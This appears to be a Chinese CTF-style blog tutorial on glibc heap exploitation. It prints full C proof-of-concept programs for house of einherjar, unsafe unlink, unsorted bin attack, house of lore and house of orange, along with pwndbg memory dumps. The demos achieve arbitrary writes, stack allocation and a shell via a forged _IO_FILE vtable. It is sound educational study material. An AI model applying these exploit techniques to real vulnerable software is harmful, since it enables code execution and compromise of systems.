pwndbg> p ptr_top 
$2 = (intptr_t *) 0x603110
pwndbg> x/10gx 0x603110
0x603110:    0x0000000000000000    0xffffffffffffffff
0x603120:    0x0000000000000000    0x0000000000000000
0x603130:    0x0000000000000000    0x0000000000000000
0x603140:    0x0000000000000000    0x0000000000000000
0x603150:    0x0000000000000000    0x0000000000000000

分配evil_chunk,将top_chunk地址抬高到 目标地址

`pwndbg> p &bss_var
$5 = (char (*)[44]) 0x602060 <bss_var>
pwndbg> top_chunk
0x602050 PREV_INUSE {
prev_size = 0x0,
size = 0x10b9,
fd = 0x2073692073696854,
bk = 0x676e697274732061,
fd_nextsize = 0x6577207461687420,
bk_nextsize = 0x6f7420746e617720
}


最后就可以分配到包含目标地址的chunk了

输出结果

![1552110821446](/picture/1552110821446.png)



#### House of Einherjar

源码:

```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>

int main()
{
    fprintf(stderr, "Welcome to House of Einherjar!\n");
    fprintf(stderr, "Tested in Ubuntu 16.04 64bit.\n");
    fprintf(stderr, "This technique can be used when you have an off-by-one into a malloc'ed region with a null byte.\n");

    uint8_t* a;
    uint8_t* b;
    uint8_t* d;

    fprintf(stderr, "\nWe allocate 0x38 bytes for 'a'\n");
    a = (uint8_t*) malloc(0x38);
    fprintf(stderr, "a: %p\n", a);

    int real_a_size = malloc_usable_size(a);
    fprintf(stderr, "Since we want to overflow 'a', we need the 'real' size of 'a' after rounding: %#x\n", real_a_size);

    // create a fake chunk
    fprintf(stderr, "\nWe create a fake chunk wherever we want, in this case we'll create the chunk on the stack\n");
    fprintf(stderr, "However, you can also create the chunk in the heap or the bss, as long as you know its address\n");
    fprintf(stderr, "We set our fwd and bck pointers to point at the fake_chunk in order to pass the unlink checks\n");
    fprintf(stderr, "(although we could do the unsafe unlink technique here in some scenarios)\n");

    size_t fake_chunk[6];

    fake_chunk[0] = 0x100; // prev_size is now used and must equal fake_chunk's size to pass P->bk->size == P->prev_size
    fake_chunk[1] = 0x100; // size of the chunk just needs to be small enough to stay in the small bin
    fake_chunk[2] = (size_t) fake_chunk; // fwd
    fake_chunk[3] = (size_t) fake_chunk; // bck
    fake_chunk[4] = (size_t) fake_chunk; //fwd_nextsize
    fake_chunk[5] = (size_t) fake_chunk; //bck_nextsize


    fprintf(stderr, "Our fake chunk at %p looks like:\n", fake_chunk);
    fprintf(stderr, "prev_size (not used): %#lx\n", fake_chunk[0]);
    fprintf(stderr, "size: %#lx\n", fake_chunk[1]);
    fprintf(stderr, "fwd: %#lx\n", fake_chunk[2]);
    fprintf(stderr, "bck: %#lx\n", fake_chunk[3]);
    fprintf(stderr, "fwd_nextsize: %#lx\n", fake_chunk[4]);
    fprintf(stderr, "bck_nextsize: %#lx\n", fake_chunk[5]);

    /* In this case it is easier if the chunk size attribute has a least significant byte with
     * a value of 0x00. The least significant byte of this will be 0x00, because the size of 
     * the chunk includes the amount requested plus some amount required for the metadata. */
    b = (uint8_t*) malloc(0xf8);
    int real_b_size = malloc_usable_size(b);

    fprintf(stderr, "\nWe allocate 0xf8 bytes for 'b'.\n");
    fprintf(stderr, "b: %p\n", b);

    uint64_t* b_size_ptr = (uint64_t*)(b - 8);
    /* This technique works by overwriting the size metadata of an allocated chunk as well as the prev_inuse bit*/

    fprintf(stderr, "\nb.size: %#lx\n", *b_size_ptr);
    fprintf(stderr, "b.size is: (0x100) | prev_inuse = 0x101\n");
    fprintf(stderr, "We overflow 'a' with a single null byte into the metadata of 'b'\n");
    a[real_a_size] = 0; 
    fprintf(stderr, "b.size: %#lx\n", *b_size_ptr);
    fprintf(stderr, "This is easiest if b.size is a multiple of 0x100 so you "
           "don't change the size of b, only its prev_inuse bit\n");
    fprintf(stderr, "If it had been modified, we would need a fake chunk inside "
           "b where it will try to consolidate the next chunk\n");

    // Write a fake prev_size to the end of a
    fprintf(stderr, "\nWe write a fake prev_size to the last %lu bytes of a so that "
           "it will consolidate with our fake chunk\n", sizeof(size_t));
    size_t fake_size = (size_t)((b-sizeof(size_t)*2) - (uint8_t*)fake_chunk);
    fprintf(stderr, "Our fake prev_size will be %p - %p = %#lx\n", b-sizeof(size_t)*2, fake_chunk, fake_size);
    *(size_t*)&a[real_a_size-sizeof(size_t)] = fake_size;

    //Change the fake chunk's size to reflect b's new prev_size
    fprintf(stderr, "\nModify fake chunk's size to reflect b's new prev_size\n");
    fake_chunk[1] = fake_size;

    // free b and it will consolidate with our fake chunk
    fprintf(stderr, "Now we free b and this will consolidate with our fake chunk since b prev_inuse is not set\n");
    free(b);
    fprintf(stderr, "Our fake chunk size is now %#lx (b.size + fake_prev_size)\n", fake_chunk[1]);
    fprintf(stderr, "\nNow we can call malloc() and it will begin in our fake chunk\n");
    d = malloc(0x200);
    fprintf(stderr, "Next malloc(0x200) is at %p\n", d);
}

house_of_einherjar主要利用了free函数中的向后合并的操作的机制,可以通过malloc返回任意地址的chunk。

这个例子中,它在栈上伪造了一个fake_chunk,然后修改chunk_b的prev_size字段 以及 size字段的prev_inuse标志位。使prev_size = b - fake_chunk - sizeof(chunk_header), prev_inuse为0。然后当free掉b时,它会向后合并,最后得到的chunk地址就会为fake_chunk,当再次malloc时,就可以分配到栈上的空间。

伪造的fake_chunk的size==> b - fake_chunk - sizeof(chunk_header)

注意:

  • 伪造的fake_chunk中的 fd和bk指针要指向自己,用来bypass unlink
  • 后向合并时,新的 chunk 的位置取决于 chunk_at_offset(p, -((long) prevsize))
  • 相邻的chunk会共享prev_size字段,当低地址的chunk处于使用状态时,高地址的chunk的prev_size字段就可以被低地址的chunk使用,形成空间的复用,所以可能可以通过低地址的chunk修改高地址的chunk的prev_inuse标志位。

调试一下:

伪造的fake_chunk

pwndbg> x/10gx &fake_chunk 
0x7fffffffdd10:    0x0000000000000100    0xffff800000605330
0x7fffffffdd20:    0x00007fffffffdd10    0x00007fffffffdd10
0x7fffffffdd30:    0x00007fffffffdd10    0x00007fffffffdd10
0x7fffffffdd40:    0x00007fffffffde30    0x0e2957f6498f5000
0x7fffffffdd50:    0x0000000000400c00    0x00007ffff7a2d830

free掉b后,返回的chunk,可以发现fake_chunk的size字段增大了 b.size的大小

pwndbg> x/10gx &fake_chunk 
0x7fffffffdd10:    0x0000000000000100    0xffff8000006262f1
0x7fffffffdd20:    0x00007fffffffdd10    0x00007fffffffdd10
0x7fffffffdd30:    0x00007fffffffdd10    0x00007fffffffdd10
0x7fffffffdd40:    0x00007fffffffde30    0x0e2957f6498f5000
0x7fffffffdd50:    0x0000000000400c00    0x00007ffff7a2d830

最后malloc便可以返回fake_chunk的内存

运行结果

1552119505214

这个我前面总结过了,这里就讲解一下这个例子

源码:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>

uint64_t *chunk0_ptr;

int main()
{
    fprintf(stderr, "Welcome to unsafe unlink 2.0!\n");
    fprintf(stderr, "Tested in Ubuntu 14.04/16.04 64bit.\n");
    fprintf(stderr, "This technique can be used when you have a pointer at a known location to a region you can call unlink on.\n");
    fprintf(stderr, "The most common scenario is a vulnerable buffer that can be overflown and has a global pointer.\n");

    int malloc_size = 0x80; //we want to be big enough not to use fastbins
    int header_size = 2;

    fprintf(stderr, "The point of this exercise is to use free to corrupt the global chunk0_ptr to achieve arbitrary memory write.\n\n");

    chunk0_ptr = (uint64_t*) malloc(malloc_size); //chunk0
    uint64_t *chunk1_ptr  = (uint64_t*) malloc(malloc_size); //chunk1
    fprintf(stderr, "The global chunk0_ptr is at %p, pointing to %p\n", &chunk0_ptr, chunk0_ptr);
    fprintf(stderr, "The victim chunk we are going to corrupt is at %p\n\n", chunk1_ptr);

    fprintf(stderr, "We create a fake chunk inside chunk0.\n");
    fprintf(stderr, "We setup the 'next_free_chunk' (fd) of our fake chunk to point near to &chunk0_ptr so that P->fd->bk = P.\n");
    chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);
    fprintf(stderr, "We setup the 'previous_free_chunk' (bk) of our fake chunk to point near to &chunk0_ptr so that P->bk->fd = P.\n");
    fprintf(stderr, "With this setup we can pass this check: (P->fd->bk != P || P->bk->fd != P) == False\n");
    chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);
    fprintf(stderr, "Fake chunk fd: %p\n",(void*) chunk0_ptr[2]);
    fprintf(stderr, "Fake chunk bk: %p\n\n",(void*) chunk0_ptr[3]);

    fprintf(stderr, "We assume that we have an overflow in chunk0 so that we can freely change chunk1 metadata.\n");
    uint64_t *chunk1_hdr = chunk1_ptr - header_size;
    fprintf(stderr, "We shrink the size of chunk0 (saved as 'previous_size' in chunk1) so that free will think that chunk0 starts where we placed our fake chunk.\n");
    fprintf(stderr, "It's important that our fake chunk begins exactly where the known pointer points and that we shrink the chunk accordingly\n");
    chunk1_hdr[0] = malloc_size;
    fprintf(stderr, "If we had 'normally' freed chunk0, chunk1.previous_size would have been 0x90, however this is its new value: %p\n",(void*)chunk1_hdr[0]);
    fprintf(stderr, "We mark our fake chunk as free by setting 'previous_in_use' of chunk1 as False.\n\n");
    chunk1_hdr[1] &= ~1;

    fprintf(stderr, "Now we free chunk1 so that consolidate backward will unlink our fake chunk, overwriting chunk0_ptr.\n");

    free(chunk1_ptr);

    fprintf(stderr, "At this point we can use chunk0_ptr to overwrite itself to point to an arbitrary location.\n");
    char victim_string[8];
    strcpy(victim_string,"Hello!~");
    chunk0_ptr[3] = (uint64_t) victim_string;

    fprintf(stderr, "chunk0_ptr is now pointing where we want, we use it to overwrite our victim string.\n");
    fprintf(stderr, "Original value: %s\n",victim_string);
    chunk0_ptr[0] = 0x4141414142424242LL;
    fprintf(stderr, "New Value: %s\n",victim_string);
}

在这个例子中它定义了一个全局指针来存储 chunk0的地址,chunk0 malloc的大小为0x80,分配这么大的目的是为了释放chunk0时不会被放入fastbin中。然后它分配了一个大小为0x80的chunk2,并且将chunk0的fd和bk伪造好

fd ==> (uint64_t) &chunk0_ptr - (sizeof(uint64_t)*3)

bk==> (uint64_t) &chunk0_ptr - (sizeof(uint64_t)*2)

将chunk1的prev_size字段设置为 chunk0的大小,同时将prev_inuse位设置为0,最后将chunk1 释放掉,就会触发unlink。

涉及的指针操作

FD = chunk0_ptr - 0x18
BK  = chunk0_ptr- 0x10
unlink实际做了
*(chunk0_ptr - 0x18 + 0x18) = chunk0_ptr - 0x10
*(chunk0_ptr - 0x10 - 0x10) = chunk0_ptr - 0x18 #主要看这步
等价于
*chunk0_ptr = chunk0_ptr - 0x18

最后,原本存储着chunk0地址的指针chunk0_ptr,会指向chunk0_ptr - 0x18,这时候通过控制chunk0就可以实现任意地址写。此时chunk0_ptr->bk 正好指向 &chunk0_ptr,修改chunk0_ptr->bk 为想要修改的地址,然后再通过chunk0_ptr往地址写入内容。

最终输出

1552132454710

unsorted_bin_attack

源码:

#include <stdio.h>
#include <stdlib.h>

int main(){
    fprintf(stderr, "This file demonstrates unsorted bin attack by write a large unsigned long value into stack\n");
    fprintf(stderr, "In practice, unsorted bin attack is generally prepared for further attacks, such as rewriting the "
           "global variable global_max_fast in libc for further fastbin attack\n\n");

    unsigned long stack_var=0;
    fprintf(stderr, "Let's first look at the target we want to rewrite on stack:\n");
    fprintf(stderr, "%p: %ld\n\n", &stack_var, stack_var);

    unsigned long *p=malloc(400);
    fprintf(stderr, "Now, we allocate first normal chunk on the heap at: %p\n",p);
    fprintf(stderr, "And allocate another normal chunk in order to avoid consolidating the top chunk with"
           "the first one during the free()\n\n");
    malloc(500);

    free(p);
    fprintf(stderr, "We free the first chunk now and it will be inserted in the unsorted bin with its bk pointer "
           "point to %p\n",(void*)p[1]);

    //------------VULNERABILITY-----------

    p[1]=(unsigned long)(&stack_var-2);
    fprintf(stderr, "Now emulating a vulnerability that can overwrite the victim->bk pointer\n");
    fprintf(stderr, "And we write it with the target address-16 (in 32-bits machine, it should be target address-8):%p\n\n",(void*)p[1]);

    //------------------------------------

    malloc(400);
    fprintf(stderr, "Let's malloc again to get the chunk we just free. During this time, the target should have already been "
           "rewritten:\n");
    fprintf(stderr, "%p: %p\n", &stack_var, (void*)stack_var);
}

这个例子展示了unorted_bin_attack,将栈上的一个值修改为一个很大的无符号整型数。具体的原理是,从unsorted bin中取chunk出来时会往bck-fd出写入unsorted bin的地址,所以只要控制了unsorted bin中的bk,就可以实现向任意地址写如一个不可控的值

具体源码:

unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);

往bk写入的地址是 想要修改的地址 - sizeof(chunk_header)

利用这漏洞可以实现的事情:

  1. 修改 global_max_fast的大小,拓展fastbin attack的范围
  2. 修改循环的次数

运行结果

1552137711122

unsorted_bin_into_stack

源码:

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>

int main() {
  intptr_t stack_buffer[4] = {0};

  fprintf(stderr, "Allocating the victim chunk\n");
  intptr_t* victim = malloc(0x100);

  fprintf(stderr, "Allocating another chunk to avoid consolidating the top chunk with the small one during the free()\n");
  intptr_t* p1 = malloc(0x100);

  fprintf(stderr, "Freeing the chunk %p, it will be inserted in the unsorted bin\n", victim);
  free(victim);

  fprintf(stderr, "Create a fake chunk on the stack");
  fprintf(stderr, "Set size for next allocation and the bk pointer to any writable address");
  stack_buffer[1] = 0x100 + 0x10;
  stack_buffer[3] = (intptr_t)stack_buffer;

  //------------VULNERABILITY-----------
  fprintf(stderr, "Now emulating a vulnerability that can overwrite the victim->size and victim->bk pointer\n");
  fprintf(stderr, "Size should be different from the next request size to return fake_chunk and need to pass the check 2*SIZE_SZ (> 16 on x64) && < av->system_mem\n");
  victim[-1] = 32;
  victim[1] = (intptr_t)stack_buffer; // victim->bk is pointing to stack
  //------------------------------------

  fprintf(stderr, "Now next malloc will return the region of our fake chunk: %p\n", &stack_buffer[2]);
  fprintf(stderr, "malloc(0x100): %p\n", malloc(0x100));
}

这个例子展示了怎么利用unsorted bin 的分配机制,返回一个在栈上伪造的chunk。因为unsorted bin是FIFO,新插入的chunk是插到表头,然后从表尾取chunk。将victim chunk的bk修改为fake_chunk,size字段修改为别的值,最后malloc相应的大小,就可以返回伪造的fake_chunk了。

需要满足的条件:

  1. 可以控制unsorted bin 中victim chunk的size字段和bk字段
  2. 泄露出栈地址,并在栈上布置好fake_chunk
  3. victim_chunk的大小应该满足不同于将要分配的大小以及 大于2*SIZE_SZ 和 小于av->system_mem

运行结果:

1552139175869

house_of_lore

源码:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>

void jackpot(){ puts("Nice jump d00d"); exit(0); }

int main(int argc, char * argv[]){

  intptr_t* stack_buffer_1[4] = {0};
  intptr_t* stack_buffer_2[3] = {0};

  fprintf(stderr, "\nWelcome to the House of Lore\n");
  fprintf(stderr, "This is a revisited version that bypass also the hardening check introduced by glibc malloc\n");
  fprintf(stderr, "This is tested against Ubuntu 14.04.4 - 32bit - glibc-2.23\n\n");

  fprintf(stderr, "Allocating the victim chunk\n");
  intptr_t *victim = malloc(100);
  fprintf(stderr, "Allocated the first small chunk on the heap at %p\n", victim);

  // victim-WORD_SIZE because we need to remove the header size in order to have the absolute address of the chunk
  intptr_t *victim_chunk = victim-2;

  fprintf(stderr, "stack_buffer_1 at %p\n", (void*)stack_buffer_1);
  fprintf(stderr, "stack_buffer_2 at %p\n", (void*)stack_buffer_2);

  fprintf(stderr, "Create a fake chunk on the stack\n");
  fprintf(stderr, "Set the fwd pointer to the victim_chunk in order to bypass the check of small bin corrupted"
         "in second to the last malloc, which putting stack address on smallbin list\n");
  stack_buffer_1[0] = 0;
  stack_buffer_1[1] = 0;
  stack_buffer_1[2] = victim_chunk;

  fprintf(stderr, "Set the bk pointer to stack_buffer_2 and set the fwd pointer of stack_buffer_2 to point to stack_buffer_1 "
         "in order to bypass the check of small bin corrupted in last malloc, which returning pointer to the fake "
         "chunk on stack");
  stack_buffer_1[3] = (intptr_t*)stack_buffer_2;
  stack_buffer_2[2] = (intptr_t*)stack_buffer_1;

  fprintf(stderr, "Allocating another large chunk in order to avoid consolidating the top chunk with"
         "the small one during the free()\n");
  void *p5 = malloc(1000);
  fprintf(stderr, "Allocated the large chunk on the heap at %p\n", p5);


  fprintf(stderr, "Freeing the chunk %p, it will be inserted in the unsorted bin\n", victim);
  free((void*)victim);

  fprintf(stderr, "\nIn the unsorted bin the victim's fwd and bk pointers are nil\n");
  fprintf(stderr, "victim->fwd: %p\n", (void *)victim[0]);
  fprintf(stderr, "victim->bk: %p\n\n", (void *)victim[1]);

  fprintf(stderr, "Now performing a malloc that can't be handled by the UnsortedBin, nor the small bin\n");
  fprintf(stderr, "This means that the chunk %p will be inserted in front of the SmallBin\n", victim);

  void *p2 = malloc(1200);
  fprintf(stderr, "The chunk that can't be handled by the unsorted bin, nor the SmallBin has been allocated to %p\n", p2);

  fprintf(stderr, "The victim chunk has been sorted and its fwd and bk pointers updated\n");
  fprintf(stderr, "victim->fwd: %p\n", (void *)victim[0]);
  fprintf(stderr, "victim->bk: %p\n\n", (void *)victim[1]);

  //------------VULNERABILITY-----------

  fprintf(stderr, "Now emulating a vulnerability that can overwrite the victim->bk pointer\n");

  victim[1] = (intptr_t)stack_buffer_1; // victim->bk is pointing to stack

  //------------------------------------

  fprintf(stderr, "Now allocating a chunk with size equal to the first one freed\n");
  fprintf(stderr, "This should return the overwritten victim chunk and set the bin->bk to the injected victim->bk pointer\n");

  void *p3 = malloc(100);


  fprintf(stderr, "This last malloc should trick the glibc malloc to return a chunk at the position injected in bin->bk\n");
  char *p4 = malloc(100);
  fprintf(stderr, "p4 = malloc(100)\n");

  fprintf(stderr, "\nThe fwd pointer of stack_buffer_2 has changed after the last malloc to %p\n",
         stack_buffer_2[2]);

  fprintf(stderr, "\np4 is %p and should be on the stack!\n", p4); // this chunk will be allocated on stack
  intptr_t sc = (intptr_t)jackpot; // Emulating our in-memory shellcode
  memcpy((p4+40), &sc, 8); // This bypasses stack-smash detection since it jumps over the canary
}

house_of_lore利用了small bins的分配机制,可以实现分配任意指定位置的 chunk,从而修改任意地址的内存。

相关代码:

else
    {
      bck = victim->bk;
            if (__glibc_unlikely (bck->fd != victim)){

                  errstr = "malloc(): smallbin double linked list corrupted";
                  goto errout;
                }

       set_inuse_bit_at_offset (victim, nb);
       bin->bk = bck;
       bck->fd = bin;

可以发现它只检查了bck-fd 是否等于victIm,但是没检查bck。所以可以伪造fake_chunk,使victIm->bk = fake_chunk,当victim被分配时,fake_chunk就会被链入small bins中,但是为了能成功返回fake_chunk,还要伪造一个chunk,使fake_chunk能通过__glibc_unlikely (bck->fd != victim) 检查

所以在这个例子中,它伪造了两个fake_chunk

fake_chunk1
fd = victim
bk = fake_chunk2
---------
fake_chunk2
fd = fake_chunk1

调试一下:

victim被加入small bins 时

pwndbg> p victim
$2 = (intptr_t *) 0x603010
pwndbg> smallbins 
smallbins
0x70: 0x7ffff7dd1bd8 (main_arena+184) —▸ 0x603000 ◂— 0x7ffff7dd1bd8
pwndbg> parseheap 
addr        prev      size         status          fd                bk     
0x603000    0x0       0x70         Freed        0x7ffff7dd1bd8    0x7ffff7dd1bd8
0x603070    0x70      0x3f0         Used           None              None
0x603460    0x0       0x4c0         Used           None              None

将stack_chunk_1地址写入 victim->bk

1552145129640

victim被分配后,stack_chunk_1被链入small_bins中,再分配对应大小的chunk,就可以分配到stack_chunk_1了,就可以修改栈上的内容,比如返回地址什么的,控制程序的执行流。

输出结果:

1552145537122

house_of_orange

源码:(它注释太多了,我把它都删了,不过它注释把原理都讲的挺明白了)

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int winner ( char *ptr);

int main()
{
    char *p1, *p2;
    size_t io_list_all, *top;

    fprintf(stderr, "The attack vector of this technique was removed by changing the behavior of malloc_printerr, "
        "which is no longer calling _IO_flush_all_lockp, in 91e7cf982d0104f0e71770f5ae8e3faf352dea9f (2.26).\n");

    fprintf(stderr, "Since glibc 2.24 _IO_FILE vtable are checked against a whitelist breaking this exploit,"
        "https://sourceware.org/git/?p=glibc.git;a=commit;h=db3476aff19b75c4fdefbe65fcd5f0a90588ba51\n");

    /*
      Firstly, lets allocate a chunk on the heap.
    */

    p1 = malloc(0x400-16);

    top = (size_t *) ( (char *) p1 + 0x400 - 16);
    top[1] = 0xc01;

    p2 = malloc(0x1000);


    top[3] = io_list_all - 0x10;

    memcpy( ( char *) top, "/bin/sh\x00", 8);

    top[1] = 0x61;

    _IO_FILE *fp = (_IO_FILE *) top;

    fp->_mode = 0; // top+0xc0

    fp->_IO_write_base = (char *) 2; // top+0x20
    fp->_IO_write_ptr = (char *) 3; // top+0x28


    size_t *jump_table = &top[12]; // controlled memory
    jump_table[3] = (size_t) &winner;
    *(size_t *) ((size_t) fp + sizeof(_IO_FILE)) = (size_t) jump_table; // top+0xd8


    /* Finally, trigger the whole chain by calling malloc */
    malloc(10);

   /*
     The libc's error message will be printed to the screen
     But you'll get a shell anyways.
   */

    return 0;
}

int winner(char *ptr)
{ 
    system(ptr);
    return 0;
}

house_of_orange是一种 堆溢出和IO_FILE利用结合的攻击手法。最主要的特点是它没有free的功能,它需要通过漏洞来达到free的效果。

前提条件:

  1. 存在堆溢出,可以控制top_chunk的size字段
  2. 存在信息泄露,能泄露出堆的地址
  3. libc版本小于等于2.3

简单讲下house_of_orange的流程。

首先,通过堆溢出修改top_chunk的size字段,使top_chunk的size减小。然后,malloc一个比top_chunk大的的chunk,就会通过sysmalloc申请一个新的top_chunk,旧的top_chunk就会被free掉,加入unsorted bin中。然后通过unsorted bin attack往_IO_list_all 中写入main_aren + 88,此时 _IO_list_all中的 *chain指针位于 _IO_list_all + 0x68的位置,也就是 main_arena + 0x58 + 0x68–>small bin中大小为0x60的位置,所以将之前的old top chunk的size修改为0x61,old top chunk就会链入small bin中,这时就可以将伪造的fake_file链入IO_all_list中,将fake_file的vtable指向伪造的IO_jump_t结构的地址,在伪造的 IO_jump_t 结构体中,在overflow函数处写入system函数,则最终会调用system函数。

几个要注意的点:

  1. top_chunk的size字段修改要页对齐,不能随便修改,同时prev_inuse位必须为1

  2. 伪造的IO_File结构体 要过几个检查

     1.((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
    
     或者是
     2.
     _IO_vtable_offset (fp) == 0 
     && fp->_mode > 0 
     && (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)
    

    查看伪造的_IO_FILE结构体 和vtable

     pwndbg> p *((struct _IO_FILE_plus *)0x602400)
     $3 = {
       file = {
         _flags = 0x6e69622f, 
         _IO_read_ptr = 0x61 <error: Cannot access memory at address 0x61>, 
         _IO_read_end = 0x7ffff7dd1b78 <main_arena+88> "\020@b", 
         _IO_read_base = 0x7ffff7dd2510 "", 
         _IO_write_base = 0x2 <error: Cannot access memory at address 0x2>, 
         _IO_write_ptr = 0x3 <error: Cannot access memory at address 0x3>, 
         _IO_write_end = 0x0, 
         _IO_buf_base = 0x0, 
         _IO_buf_end = 0x0, 
         _IO_save_base = 0x0, 
         _IO_backup_base = 0x0, 
         _IO_save_end = 0x0, 
         _markers = 0x0, 
         _chain = 0x0, 
         _fileno = 0x0, 
         _flags2 = 0x0, 
         _old_offset = 0x40078f, 
         _cur_column = 0x0, 
         _vtable_offset = 0x0, 
         _shortbuf = "", 
         _lock = 0x0, 
         _offset = 0x0, 
         _codecvt = 0x0, 
         _wide_data = 0x0, 
         _freeres_list = 0x0, 
         _freeres_buf = 0x0, 
         __pad5 = 0x0, 
         _mode = 0x0, 
         _unused2 = '\000' <repeats 19 times>
       }, 
       vtable = 0x602460
     }
     pwndbg> p *((struct _IO_FILE_plus *)0x602400).vtable
     $4 = {
       __dummy = 0x0, 
       __dummy2 = 0x0, 
       __finish = 0x0, 
       __overflow = 0x40078f <winner>, 
       __underflow = 0x0, 
       __uflow = 0x0, 
       __pbackfail = 0x0, 
       __xsputn = 0x0, 
       __xsgetn = 0x0, 
       __seekoff = 0x0, 
       __seekpos = 0x0, 
       __setbuf = 0x0, 
       __sync = 0x0, 
       __doallocate = 0x0, 
       __read = 0x0, 
       __write = 0x602460, 
       __seek = 0x0, 
       __close = 0x0, 
       __stat = 0x0, 
       __showmanyc = 0x0, 
       __imbue = 0x0
     }
    

最终结果:

1552384119963


Heap_Exploitation      pwn houseofxxx

本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!